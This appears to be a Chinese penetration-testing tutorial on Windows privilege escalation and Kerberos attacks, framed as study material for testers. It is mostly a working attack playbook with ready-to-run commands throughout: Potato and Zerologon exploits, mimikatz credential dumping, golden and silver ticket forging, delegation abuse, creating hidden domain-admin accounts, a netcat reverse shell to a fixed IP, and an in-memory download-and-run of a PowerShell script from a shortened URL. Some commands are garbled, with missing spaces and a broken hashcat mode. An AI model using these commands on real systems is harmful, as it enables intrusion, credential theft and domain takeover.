内网渗透权限提升&Kerberos渗透攻击详细使用

内网权限提升前言

权限提升分为:

  • 横向权限提升:同级用户之间
  • 垂直权限提升:从较低级用户权限获得更高的用户权限

本文将以垂直权限提升为中心讲解,并对windows下常见权限提升方法进行介绍

系统内核漏洞提权

内核漏洞寻找

查看系统已安装补丁以及版本信息

systeminfo

借助工具WES-NG查找

WES-NG是一个基于Windows实用程序输出的工具,它提供了操作系统易受攻击的漏洞列表,包括对这些漏洞的任何攻击。支持Windows XP和Windows 11之间的每个windows操作系统,包括其Windows Server对应操作系统。

先在本机上更新最新漏洞库

python3 wes.py --update

在目标主机执行systeminfo命令并将结果保存在sysinfo.txt

systeminfo >sysinfo.txt

然后用工具WES进行检测

python3 wes.py sysinfo.txt --impact "Elevation of Privilege"
python3 wes.py systeminfo.txt --impact "Remote Code Execution"
#仅显示公开的漏洞
python3 wes.py systeminfo.txt --impact "Remote Code Execution" -e

系统服务提权

通常用户安装的软件会在本地注册一些服务,并且大多数服务是在开机时候以system权限启动
win+R输入regedit,按回车键进入注册表编辑器。
软件在注册服务时,会在以下路径中创建相应的注册表项,路径如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services

ImagePath键对应的就是服务所启动的二进制程序
如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,这是利用系统服务提权的主要思路。

不安全的服务权限

ACL 定义了安全对象的访问控制策略,用于规定哪些主体对其拥有访问权限和拥有什么样的权限。Windows 的系统服务正是通过 ACL 来指定用户对其拥有的权限,常见的权限列表如下:

权限 说明
SERVICE_START 启动服务的权限
SERVICE_STOP 停止服务的权限
SERVICE_PAUSE_CONTINUE 暂停/继续运行服务的权限
SERVICE_QUERY_STATUS 查询服务状态的权限
SERVICE_QUERY_CONFIG 查询服务配置的权限
SERVICE_CHANGE_CONFIG 更改服务配置的权限
SERVICE_ALL_ACCESS 完全控制权限

如果用户在配置服务时使得低权限用户对高权限下运行的系统服务拥有更改服务配置的权限,我们就可以直接修改系统服务启动时的二进制文件路径。

AccessChk ACL权限检测工具

AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。AccessChk是微软官方提供的管理工具,常用来枚举或查看系统中指定用户、组对特定资源(包括但不限于文件、文件夹、注册表、全局对象和系统服务等)的访问权限。

工具地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk

低权限用户可以检查Authenticated Users组和INTERACTIVE组对系统服务的权限。前者为经过身份验证的用户,包含系统中所有使用用户名、密码登录并通过身份验证的账户,但不包括来宾账户;后者为交互式用户组,包含系统中所有直接登录到计算机进行操作的用户。默认情况下,这两个组为计算机本地“Users”组的成员。

枚举”Authenticated Users”组是否具有更改服务配置的权限

.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *

例如发现:该组对InsproSvc服务具有更改服务配置的权限,然后执行下面的命令,我们就可以将该服务启动时执行的二进制文件替换为我们上传的攻击载荷

sc config InsproSvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe"#binpath,指定服务的二进制文件路径,注意“=”后必须有一个空格

如果当前用户对该服务拥有SERVICE_STOP和SERVICE_START权限,即我们拥有可以重启服务的权限

sc stop <service name>
sc start <service name>

如果没有权限,对于启动类型为”自动“的服务,可以重启计算机来实现服务重启

shutdown -r -t 0

服务的注册表权限错误

Windows 的注册表中存储了每个系统服务的条目,而注册表使用 ACL 来管理用户对其所拥有的访问权限。如果注册表的 ACL配置错误,使得一个低权限用户对服务的注册表拥有写入权限,此时可以通过修改注册表来更改服务配置。例如修改注册表中的ImagePath键。

枚举”Authenticated Users”是否具有服务注册表写入权限的用户

accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services

假如:该用户组对RegSvc服务的注册表具有完全控制权限
将注册表中的ImagePath键指向我们上传的攻击载荷

reg add HKLM\SYSTEM\CurrentControlSet\Services\RegSvc /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\Users\Public\reverse_tcp.exe" /f
  • /k 参数确保命令提示符窗口在执行完 reverse_tcp.exe 后仍然保持打开状态。

检查当前用户对该服务是否有重启权限:

accesschk.exe /accepteula -ucqv "Authenticated Users" RegSvc

然后重启提权

sc start RegSvc

服务路径权限可控

如果目标主机上用户存在错误配置或操作,使得一个低权限的用户对此服务调用的二进制文件或其所在目录拥有写入权限,那么可以直接将该文件替换成攻击载荷,并随着服务的启动继承系统权限。

执行下面命令查看InsexeSvc这个服务的二进制文件所在的目录是否有写入权限

accesschk.exe /accepteula /quv "C:\Program Files\Insecure Executables

结果中看到”INTERACTIVE”组对该文件夹具有完全控制权限、

该组包含所有能够登录到系统的成员。此时,可以将InsexeSvc 服务的二进制文件替换成一个同名的攻击载荷,并随着服务的重启继承系统权限

cd "C:\Program Files\Insecure Executables"
cp InsexecSvc.exe InsexsSvc.exe.bak
然后上传一个同名的reverse_tcp.exe
shutdown -r -t 0

未引用的服务路径

利用前提:具有相应目录下的写入权限
未引用的服务路径(Unquoted Service Path)漏洞曾被称为可信任的服务路径(TrustedService Path),利用了 Windows 文件路径解析的特性。当服务启动所执行的二进制文件的路径中包含空格且未有效包含在引号中时,就会导致该漏洞。

造成该漏洞的根本原因在于 Windows 系统中用于创建进程的 CreateProcess 函数。

如果完整路径中包含空格且未有效包含在引号中,那么对于该路径中的每个空格Windows 会按照从左到右的顺序依次尝试寻找并执行与空格前的名字相匹配的程序。例如,对于路径 C:\Program Files\Sub Dir\Program Name.exe,系统依次寻找并执行以下程序C:\Program.exe,C:Program Files\Sub.exe ,C:\Program Files\Sub Dir\Program.exe,C:\Program Files\Sub Dir\Program Name.exe 。

当系统进行该路径尝试的时候,会以当前服务所拥有的权限进行。所以当对受影响的目录具有写入权限时,可以上传一个特殊命名的攻击载荷到该目录中

枚举主机上所有有该漏洞的服务

wmic service get DisplayName, PathName, StartMode\|findstr /i /v "C:\Windows\\" \|findstr /i /v """

用Accesschk检查该受影响的目录是否有写入权限

accesschk.exe /accepteula  -quv "Authenticated Users" "C:\Program Files\Unquoted Path\"

PowerUp

powerup就是一个powershell脚本,里面集中了上面所说的服务进程提权的所有方法。使用方法可以去看官方文档

项目地址:https://github.com/PowerShellMafia/PowerSploit/
这里有一篇使用的文章:https://blog.51cto.com/binghe001/5247921

使用方法

#先开启powershell
 powershell.exe -nop -exec bypass
 #导入模块
 Import-Module .\PowerSploit.psm1

输入可以通过tab键来自动补全,如果要查看各个模块的详细说明,可以使用”`Get-help [cmdlet] -full`“来查看,比如”
Get-Help Find-DLLHijack -full

#如果要将输出的结果导出到一个文件可以使用`Out-File`,如下:
Invoke-AllChecks | Out-File -Encoding ASCII checks.txt


在cmd环境下,可以使用下列方式来运行该脚本:使用了Invoke-AllChecks,脚本将会进行所有的检查
powershell.exe -exec bypass -Command "& {Import-Module .\PowerSploit.psm1; Invoke-AllChecks}"

如果你想在内存加载此脚本,可以用下列方式:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfP'); Invoke-AllChecks"

实战

执行Invoke-AllChecks:

PS E:\> Invoke-AllChecks

执行以后找到下列问题:

#!bash
[*] Checking for unquoted service paths...

ServiceName   : CDROM_Detect
Path          : C:\Program Files\4G USB Modem\4G_Eject.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path <HijackPath>

ServiceName   : hMailServer
Path          : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path <HijackPath>

[*] Checking service executable and argument permissions...

ServiceName    : wampapache
Path           : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampapache'

ServiceName    : wampmysqld
Path           : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampmysqld'

可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式。在上面两个利用点可以看出,unquoted service paths中给出了两个路径带空格的文件路径,但是因为其在c盘,没有权限,所以并不能被我们利用来提权。而第二个检查通过Get-ServiceFilePermission找到两个当前用户可以写入相关联可执行文件的路径,我们就可以通过这个来进行提权。在AbuseFunction那里已经给了我们操作方式,接下来我们执行如下操作:

添加管理员账户:

#!bashPS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123qwe!@#

MSI 安装策略提权

MSI安装策略提权是由于用户在配置MSI安装策略时,启用了永远以高特权进行安装(AlwaysInstallElevated,默认情况下为禁用状态),使得任何权限的用户都可以通过 SYSTEM 权限安装MSI程序。此时测试人员可以在目标主机上安装一个预先制作的恶意MSI文件,以获得SYSTEM 权限。

确定系统是否存在漏洞

如果用户配置了”永远以高特权进行安装”,会在注册表下面两个位置创建键值1

执行下面的命令进行确认

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果存在,用powerup来进行提权添加管理员账户
生成一个安装文件,运行这个安装文件,则弹出添加用户的框。

powershell -nop -exec bypass "IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Write-UserAddMSI"

访问令牌操作

Windows 操作系统的访问控制模型(Access Control Model)是 Windows 系统安全性的基础构件,由访问令牌(Access Token)和安全描述符(Security Descriptor)两部分组成,二者分别被访问者和被访问者所持有。通过比较访问令牌和安全描述符的内容Windows 可以对访问者是否拥有访问资源对象的能力进行判定。

常规令牌窃取操作

常规的令牌窃取操作往往用来将从管理员权限提升至SYSTEM、TrustedInstaller 等更高的系统权限。在实战中,如果本地管理员账户因为某些组策略设置无法获取某些特权,可以通过令牌窃取来假冒 NT AUTHORITY\SYSTEM 的令牌,以获取更高的系统权限。此外,令牌窃取还经常被用于降权或用户切换等操作。

注意:令牌窃取只能在特权用户上下文中才能完成,因为通过令牌创建进程使用的CreateProcessWithTokenW和 CreateProcessAsUserA 两个 WindowsAPI分别要求用户必须拥有SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege 特权,而拥有这两个特权的用户一般为系统管理员账户、网络服务账户和系统服务账户(如IIS、MSSQL 等)。

Potato家族提权

Potato家族是一种常用的提权技术,通过操纵访问令牌将已获取的Windows服务账户权限提升至系统SYSTEM权限。
通过滥用前面令牌窃取提到的两个前提特权,将已获取的 NT AUTHORITY\SYSTEM 账户的访问令牌传入CreateProcessWithTokenW或CreateProcessAsUserA函数进行调用,从而在NT AUTHORITY\SYSTEM 账户的上下文创建新进程,以提升至SYSTEM权限。

当用户具有SeImpersonatePrivilege 特权,可以调用 CreateProcessWithTokenW 以某个 Token 的权限启动新进程。(最常见的,一般 IIS 服务的用户都具有该类权限)
当用户具有 SeAssignPrimaryTokenPrivilege 特权,可以调用 CreateProcessAsUserW 以指定用户权限启动新进程。(这个权限一般管理员才具有)

Rotten Potato

即”烂土豆提权",Rotten Potato 提权的实现机制相当复杂,拦截 NTLM 身份认证请求,并伪造 NT AUTHORITY\SYSTEM 账户的访问令牌

Juicy Potato

Juicy Potato 与 Rotten Potato 的原理几乎完全相同,只是在后者的基础上做了扩展,以便更灵活利用 Rotten Potato。
现在假设已经获取IIS服务账户的WebShell,查询当前的特权

whoami /priv

上传 JuicyPotato 的利用程序,并根据操作系统版本选择一个可用的 COM 对象。在 Rotten Potato 中使用的 COM 对象为 BITS,而 Juicy Potato 为不同 Windows 版本提供了多个可以利用的COM对象。

对于Windows Server2016,可以选择的对象有COMXblGameSave,其CLSID为{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}

运行 JuicyPotato,将获取 SYSTEM 权限并运行指定的攻击载荷,成功获取到了一个SYSTEM权限的Meterpreter

JuicyPotato.exe -t t -p "C:\inetpub\wwwroot\reverse_tcp.exe" -l 6666 -n 135 -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
#-t,指定要使用 CreateProcesswithTokenW和CreateProcessAsUserA()中的哪个函数创建进程
#-p,指定要运行的程序;-l,指定COM对象加载的端口
#-n,指定本地RPC服务端口,默认为135;-c,指定COM对象的CLSID

注意: 以上提权方法仅适用于 Windows 10 version 1809 和 Windows Server 2019 之前版本的系统。在之后的版本中,微软通过检查RPC 绑定字符串中指定的端口来修复了这个问题,修复后的系统无法通过原来的方法实现中间人攻击。

PrintSpoofer(Pipe Potato)

该提权技术主要利用了打印机组件路径检查中存在的一个Bug,使高权限的服务能连接到测试人员创建的命名管道,以获取高权限账户的令牌来创建新进程。

Sweet Potato

集成了上面所有potato的功能
添加rdp管理员

SweetPotato.exe -a "net user test qwer1234! /add"
SweetPotato.exe -a "net localgroup administrators test /add"
SweetPotato.exe -a "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

GodPotato

影响版本:
Windows Server 2012 - Windows Server 2022 Windows8 - Windows 11

只要有“ImpersonatePrivilege”权限。那么你就是 “NT AUTHORITY\SYSTEM”,通常 WEB 服务和数据库服务都有 “ImpersonatePrivilege” 权限。

当我们获得 WEB/数据库权限时,通常会使用 Potato 权限提升。我们可以将具有低权限的服务用户提升为“NT AUTHORITY\SYSTEM”权限。

GodPotato -cmd "cmd /c whoami"

Execute reverse shell commands

GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

用户凭据操作

枚举Unattended凭据

Zerologon域内提权

Zerologon(CVE-2020-1472)是Netlogon远程协议的一个特权提升漏洞,可以在不提供任何凭据的情况下通过身份验证,并实现域内提权。
使用mimikatz

mimikatz.exe "lsadump::zerologon /target:10.10.10.11 /ntlm /null /account:Dc-1$/exploit" exit# /target,指定域控地址;/account,指定域控的机器账户

Certifried域内提权

Active Directory 域权限提升漏洞(CVE-2022-26923)。该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了活动目录证书服务(Active Directory Certificate Services,AD CS)服务器角色的活动目录环境中将权限提升至域管理员。

mysql UDF 提权

UDF 提权原理

UDF 指的是用户自定义函数,用户可以对数据库所使用的函数进行一个扩展(利用 dll 文件),从而定制一些符合自己需求的函数,但是同样的,当黑客获取了数据库的 root 用户的一个权限时,即使所在的系统权限很低,也可以使用 UDF 来自定义一个执行系统命令的函数,但是执行权限为管理员权限,从而可以用来添加管理员账户,远程连接。

提权条件

  1. 必须是 root 权限(主要是得创建和抛弃自定义函数)
  2. secure_file_priv =
  3. 将 udf.dll 文件上传到 MySQL 的 plugin 目录下(这里以 MySQL = 5.5.29 为例)

查看 secure_file_priv 的值(他必须是空白值,只要有内容就不能进行 UDF 提权)

show global variables like "secure%";

查看 mysql 绝对路径

SHOW VARIABLES LIKE "%plugin%";

创建文件夹( 你要提权系统的 mysql 的绝对路径 )

select 'xxx' into dumpfile'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION'; select 'xxx' into dumpfile'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

虽然语句会出现报错,但是文件夹会成功创建。

利用 msf 的 exploit/multi/mysql/mysql_udf_payload 生成一个 dll 的 payload,上传到\lib\plugin 目录下

SELECT 生成的payload内容 into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';

定义别名

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');

Kerberos认证前言

Kerberos是一种广泛应用于网络环境中的身份验证协议,旨在为客户端和服务器之间的通信提供安全的身份验证机制。然而,尽管Kerberos协议设计上较为安全,但在实际应用中仍存在多种攻击手段,这些攻击手段可以绕过或破坏Kerberos的身份验证机制。本文将从Kerberos认证过程中的各个部分进行攻击利用并会给出相应在内网渗透过程中需要用到的具体工具命令,方便师傅们学习使用。

Kerberos介绍

kerberos是一种计算机网络认证协议,他能够为网络中通信的双方提供严格的身份验证服务,确保通信双方身份的真实性和安全性。

在内网渗透中,Kerberos认证协议是基于票据的一种认证方式,可以分为三部分:用户(Client)、服务器(Server)和 KDC(Key Distribution Center,密钥分发中心)。KDC包含AS(Authentication Server,认证服务器)和TGS(Ticket Granting Server,票据授权服务器)。

Kerberos基础认证流程

其流程图如下:

认证流程解释:

  1. AS_REQ。CIient向AS发起AS_REQ,请求内容为通过Client的哈希加密的时间戳、ClientID 等内容。
  2. AS_REP。AS使用Client密码哈希值进行解密,如果解密正确,就返回用krbtgt的 NTLM-hash 加密的 TGT(Ticket Granting Ticket,票据授权凭证)票据。TGT 包含 PAC(Privilege Attribute Certificate,特权属证书),PAC包含 Client的相关权限信息,如 SID及所在的组。简单理解,PAC就是用于验证用户权限,只有KDC能制作和查看PAC。
  3. TGS_REQ。Client 凭借 TGT向TGS 发起针对需要访问服务的 TGS_REQ 请求。
  4. TGS_REP。TGS 使用 krbtgt的 NTLM-hash对TGT 进行解密,如果结果正确,就返回用服务 NTLM-hash加密的TGS票据(简称 ST),并带上PAC。注意,在Kerberos认证过程中,不论用户有没有访问服务的权限,只要TGT正确,就会返回ST
  5. AP_REQ。Client利用ST去请求服务。
  6. AP_REP。服务使用自己的 NTLM-hash 解密 ST。如果解密正确,就会将其中的PAC 给KDC 解密,KDC由此判断Client是否有访问服务的权限。当然,如果没有设置PAC,就不会去KDC求证,这也是白银票据成功的原因。

Kerberos攻击分类

Kerberos攻击其实可以归结为两个字:票据,即常说的票据传递攻击(Pass The Ticket,PTT)

AS_REQ&AS_REP阶段攻击

域内用户枚举

机器不在域中时,可以通过Kerberos的ASREQ工作原理来进行枚举域内账号,由于用户名存在跟不存在的报错不一致,域控会根据用户的真实状态返回相应的用户状态。所以当你拿到一堆用户名的时候,可以先进行一波枚举,如果都找出真实存在的域用户,再进行相应的域攻击

如果我们在域内的话,直接执行命令查看域用户

net user /domain  查看域用户

当受控靶机不在域内,但是同网段有域内机器
可以使用kerbrute枚举域用户 https://github.com/ropnop/kerbrute

proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

或者
EnumADUser.py

python2 EnumADUser.py 192.168.200.143 0day.org user.txt tcp

密码喷洒攻击

和域用户枚举的思路大致相同,拿到一堆账号密码之后,可以使用相应的工具对于主机进行爆破处理,根据返回状态的不通判断此账号密码是否与对应的主机相匹配

先用kerbrute拿到域内用户然后再喷洒

crackmapexec smb 172.22.4.45 -u username -p passwd -d domain 2&gt;/dev/null

proxychains4 crackmapexec smb 172.22.9.1/24 -u user.txt -p pass.txt --continue-on-success 2&gt;/dev/null
#对c段进行枚举
proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

哈希传递攻击

哈希传递攻击是一种针对NTLM协议的攻击技术。在NTLM 身份认证的第三步中生成Response 时,客户端直接使用用户的NTLM 哈希值进行计算,用户的明文密码并不参与整个认证过程。也就是说,在Windows 系统中只使用用户哈希值对访问资源的用户进行身份认证。

Mimikatz

MImikatz内置了哈希传递功能,需要管理员权限

抓取域管理员哈希(本机用户)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

利用抓取到的NTLM Hash进行哈希传递攻击

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:hack-my.com /ntlm:570a9a65db8fba761c1008a51d4c95ab" exit
# /user,指定要传递的用户名;/domain,指定当前所处域名或工作组名;/ntlm,指定用户哈希

弹出一个新的命令行窗口,在新的命令行中具有域管理员权限

Impacket

该项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击
比如:psexec.py、smbexec.py和wmiexec.py。

smbexec.py:

python smbexec.py -hashes :570a9a65db8fba761c1008a51d4c95ab hack-my.com/administrator@10.10.10.19
# python smbexec.py -hashes LM Hash:NLTM Hash domain/username@ip
# -hashes,指定用户完整的哈希值,如果 LM Hash被废弃,就将其指定为0或为空

AS_REP Roasting攻击

当被攻击账号设置不需要Kerberos预身份验证后,在ASREP过程中就可以任意伪造用户名请求票据,此时域控不会进行任何验证就将TGT和该用户Hash加密的Login Session Key 返回,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令

使用impacket中的GetNPUsers.py来查找未设置预认证的账号,并获取他们的TGT,以hashcat能爆破的形式输出

比如user.txt通过kerbrute获取

proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/ -format hashcat

之后使用hashcat进行爆破

hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$xxxxxxxxxxxxx' rockyou.txt
#-a 0 指定为字典爆破模式  
# --force 忽略warning  
# -m 18
200 指定爆破模式为"Kerberos 5 AS-REP etype 23"(18200)的格式

或者 john爆破

john user.txt

黄金票据

在Kerberos 认证中,每个用户的票据都是由 krbtgt的 NTLM 哈希值加密生成的,获得 krbtgt 的哈希值,便可以伪造任意用户的票据,这种攻击方式被称为黄金票据(GoldenTicket)。

  • 攻击需要这些信息:域名,域sid,krbtgt哈希值,伪造的用户。

域sid查询自己的SID可以通过:whoami /user

查询其他用户的SID可以通过WMI查询:wmic useraccount where name=%username% get sid

SID的形式:S-1-5-21-<域标识>-<相对标识>

  • “S-1”表示该标识是一个SID。
  • “5”表示这是一个Windows服务器或域的标识。
  • “21”是一个固定值,用于指示该SID是一个域SID。
  • “<域标识>”是一个唯一的域标识符,用于标识特定的域。
  • “<相对标识>”是一个相对于域的唯一的标识符,用于唯一标识域中的安全主体。

常见的SID列表:

  • S-1-5-18 (LocalSystem)
  • S-1-5-19 (LocalService)
  • S-1-5-20 (NetworkService)
  • S-1-5-32-544 (Administrators)
  • S-1-5-32-545 (Users)
  • S-1-5-32-550 (PrintOperators)

黄金票据攻击

通常是在拿下域管之后,我们可以通过mimikatz等操作拿到krbtgt的哈希值,再通过其他组成票据的参数伪造票据

  1. 在DC用mimikatz执行下面命令
mimikatz.exe "Privilege::Debug" "lsadump::lsa /patch" "exit"

假如得到如下信息:

  • sid:S-1-5-21-1812960810-2335050734-3517558805
  • ntlm hash:36f9d9e6d98ecf8307baf4f46ef842a2
  • aes256:dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9

  • 得到krbtgt的哈希值后,再利用mimikatz生成黄金票据

伪造用户administrator执行(aes256)

mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805/aes256:dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 /user:administrator/ticket:gold.kirbi"

或者伪造用户administrator执行(krbtgt hash)

mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805/krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /user:administrator /ticket:gold.kirbi
  1. 先清除票据防止干扰
    kerberos::purge
    
  2. 导入黄金票据 进行PTT
    kerberos::ptt C:\Users\jack.0DAY\Desktop\gold.kirbi
    

> 注意,跨域下的黄金票据有一定限制,但利用SidHistory 便可解决

在普通域用户机器上,重新打开cmd窗口,可以直接列出域控目录

dir \\dc.college.com\c$
#dir \\计算机名.域名\c$

可以直接使用psexec工具获得交互权限

PsExec64.exe \\dc.cyber.com -s cmd.exe

也可以在域内创建隐藏用户。

net user qwerty$ Aa123456 /add /domain 
 net group "domain admins" qwerty$ /domain

TGS_REQ&TGS_REP阶段攻击

Kerberosast攻击

SPN(Service Principal Name,服务器主体名称)是服务器所运行服务的唯一标识,每个使用Kerberos 认证的服务都必须正确配置相应的 SPN,一个账户下可以有多个 SPN。根据权限,SPN有两种注册方式,分别为:机器账户 computers、域用户账户 users。

任何一个域内账户都可以向DC查询所有域内用户对应的SPN并进行TGS交换过程,在KRB_TGS_REP过程将会返回查询到的用户的TGS tickets,然后我们即可使用爆破工具对于返回的票据进行爆破,获取对应明文

如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

使用impacket的 GetUserSPNs.py来获得注册在xiaorang.lab\liupeng用户下的SPN的服务票据(ST)

python GetUserSPNs.py /: -dc-ip  -outputfile 
#proxychains4 python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/liupeng:fiAzGwEMgTY -outputfile hash.txt

使用hashcat破解

hashcat64.exe -m 13100 hash.txt rockyou.txt

白银票据攻击

如果在未配置 PAC 的情况下,服务的哈希被泄露,就可以伪造任何人的身份进入而没有检查,这种攻击称为白银票据(Silver Ticket)。其原理是通过伪造 ST 来访问服务,但是只能访问特定服务器上的部分服务。

DC中以管理员权限用mimikatz获取DC机器名的哈希值:

mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"

得到的域控制器的信息比如:

Username : Administrator
NTLM HASH:78c403b6e04402158d26c5581f9e954b
sid:S-1-5-21-1218902331-2157346161-1782232778

之后就可以生成伪造的 Silver Ticket 票据:(在不能访问DC的机器上执行)

kerberos::golden /domain:&lt;域名&gt; /sid:&lt;域 SID&gt; /target:&lt;目标服务器主机名&gt; /service:&lt;服务类型&gt; /rc4: /user:&lt;伪造的用户名&gt; /ptt

kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778  /target:OWA2010CN-God.god.org /rc4:78c403b6e04402158d26c5581f9e954b  /service:cifs /user:saul666 /ptt

这个时候在

lsadump:dcsync /domain:hack-my.com /user:krbtgt

委派攻击

在现实情况下,往往多个服务不可能在一台机器中,那么如果用户在使用服务A时,这时候需要服务B上属于自己的数据,最简单的方式就是A代用户去请求B返回相应的信息,这个过程就是委派。

委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。

非约束委派攻击

就是当 service1 的服务账户开启了非约束委派后,user 访问 service1 时,service1 会将user 的 TGT 保存在内存中,然后 servicel 就可以利用 TGT以 user 的身份去访问域中的任何user 可以访问的服务

如果域管理员访问了开启非约束委派的服务,该服务所在的计算机就会保存域管理员的TGT在内存中,那么就可以获取其特权就可以获取域控权限。

可以用adfind在域内查找非约束委派用户:

AdFind.exe -b "DC=hack-my,DC=com" -f "(&amp;(samAccountType =805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

我们可以利用mimikatz查看内存中的票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

可以利用Spooler打印机服务让域控主动连接在 Spooler 服务默认开启的情况下,域:户可以利用 Windows 打印系统远程协议(MS-RPRN)强制任何运行了 Spooler 服务的域内计算机通过Kerberos 或 NTLM 对任何目标进行身份验证,这便是该攻击方式的原理。

攻击过程:

  1. 以administrator身份打开cmd并执行Rubeus来监听
Rubeus.exe monitor /interval:1 /filteruser:DC01$ &gt;hash.txt
# /interval:1 设置监听间隔1秒  
# /filteruser 监听对象为我们的域控,注意后面有个$
  1. 利用SpoolSample工具强制DC01对WEB2016进行认证

    spoolsample.exe DC01 WEB2016
    
  2. 监听到的base64编码进行转换到正常的TGT,导入TGT

kerberos::purge #清楚票据
kerberos::ptt /ticket:base64 #导入黄金票据
  1. 利用mimikatz进行dcsync成功获取哈希值,制作黄金票据接管域控
lsadump::dcsync /domain:sfang.com /all /csv

然后是使用PsExec进入交互

PsExec.exe  \\DC CMD

约束委派攻击

由于非约束委派的不安全,微软在winserver2003引入了约束委派,对Kerberos协议进行了拓展,引入了S4U协议:S4U2Self和S4U2proxy。

委派过程:
用户A访问service1
service1通过s4u2self协议代表用户A去请求一个可以访问service1自身的可转发的ticket,这个ticket代表域控授权service1可以以用户A的身份进行操作。
service1以用户A的身份访问KDC请求一个访问service2的可转发的ticket
service1获取到ticket并以用户A的名义访问service2。

查找约束委派机器

AdFind.exe -b "DC=chu0,DC=time" -f "(&amp;(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

利用方式一

利用条件

  • 获取管理员权限
  • 可获取被控机器账户票据

导出票据(即获取自身服务票据)

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

使用kekeo将票据转发,并以域管权限获取目标服务票据

kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-2-40e10000-WEB$@krbtgt-HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
#/user: 服务用户的用户名 /password: 服务用户的明文密码 /domain: 所在域名 /ticket: 指定票据名称,不过这个参数没有生效,可以忽略

得到服务用户 TGT后导入票据

mimikatz.exe "kerberos::purge" "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"

#长的名字就是票据的文件名

或者
用Rubeus 将得到 Base64 加密后的 TGT 票据

Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:4250ef4c15bfeb685371970e1be00b85 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap

然后使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:base64的数据

利用方式2

  • 获取机器账户的hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

通过kekeo请求服务用户的TGT

tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi  
#同理此处利用ntlm hash也是可以进行请求的  
